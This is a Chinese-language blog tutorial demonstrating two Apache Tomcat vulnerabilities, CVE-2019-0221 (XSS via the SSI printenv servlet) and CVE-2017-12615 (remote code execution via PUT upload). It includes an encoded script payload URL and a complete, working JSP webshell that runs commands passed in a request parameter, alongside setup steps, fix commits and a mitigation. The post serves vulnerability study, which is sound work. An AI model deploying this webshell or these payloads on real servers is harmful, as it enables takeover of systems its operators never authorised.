【攻击一:XSS攻击】
一、SSI技术说明
首先演示的漏洞和Tomcat的SSI功能有关,SSI是什么
SSI技术,也叫作Serve Side Includes,SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml;
举例:我们可以将指令放置到现有的HTML页面中,例如:
!--#echo var="DATE_LOCAL" -->
当该页面被执行时,将会显示如下结果
Sunday, 22-March-2020 18:28:54 GMT
SSI最常见的用途之一:输出CGI程序的结果,例如``命中计数器''。关于该技术更为详细的说明参见:httpd.apache.org/docs/curren…
二、为Tomcat开启SSI
- 准备好JRE、tomcat环境,我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
- 修改conf/context.xml第19行,开启权限
<Context privileged="true">
- 修改conf\web.xml,开启SSI Servlet。该段代码默认是被注释掉的,我们删除注释即可,代码在310-322行。
<servlet>
<servlet-name>ssi</servlet-name>
<servlet-class>
org.apache.catalina.ssi.SSIServlet
</servlet-class>
<init-param>
<param-name>buffered</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>expires</param-name>
<param-value>666</param-value>
</init-param>
<init-param>
<param-name>isVirtualWebappRelative</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>4</load-on-startup>
</servlet>
去掉关于ssi配置的注释 422-425行
<servlet-mapping>
<servlet-name>ssi</servlet-name>
<url-pattern>*.shtml</url-pattern>
</servlet-mapping>
- 在根目录下添加madashu_env.shtml(习惯性命名为printEnv.shtml)文件,位于webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>
- 启动Tomcat即可
三、发起攻击
- 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
攻击成功,页面展示如下。
四、源码分析
漏洞产生后,Tomcat大神们迅速修复了该漏洞,我们从Github上找到当时的代码修复提交记录:点击查看commit
org.apache.catalina.ssi. SSIMediator
SSIPrintenv.java文件,已经把“entity”定义成常量了,这才专业嘛!
【攻击二:远程代码执行】
接下来再简单演示下远程代码执行漏洞,该漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 Webshell,并控制服务器。
- 通过put方式上传文件,请求进行中时进行拦截:
- 生成恶意文件,取名叫
jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 远程上传成功,接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
- 整个代码也是比较简单的,可以翻看
JspServlet.java,这里就不做演示了。 **说明:**该漏洞影响范围非常广,从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。
【结语】兴趣是最好的老师,我们通过去看大佬们掉过的坑,写过的代码,站在巨人的肩膀人可以更快速地提升自己。有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞: tomcat.apache.org/security-9.… 本次演示的两个漏洞分别是CVE-2019-0221,CVE-2017-12615。
感谢各位大佬关注公众号“码大叔”,或者关注我的个人微信号:qiaojs(昵称:剑圣,备注掘金即可)我们一起Java相关的交流学习!
微信公众号:码大叔 十年戎“码”,老“叔”开花
往期推荐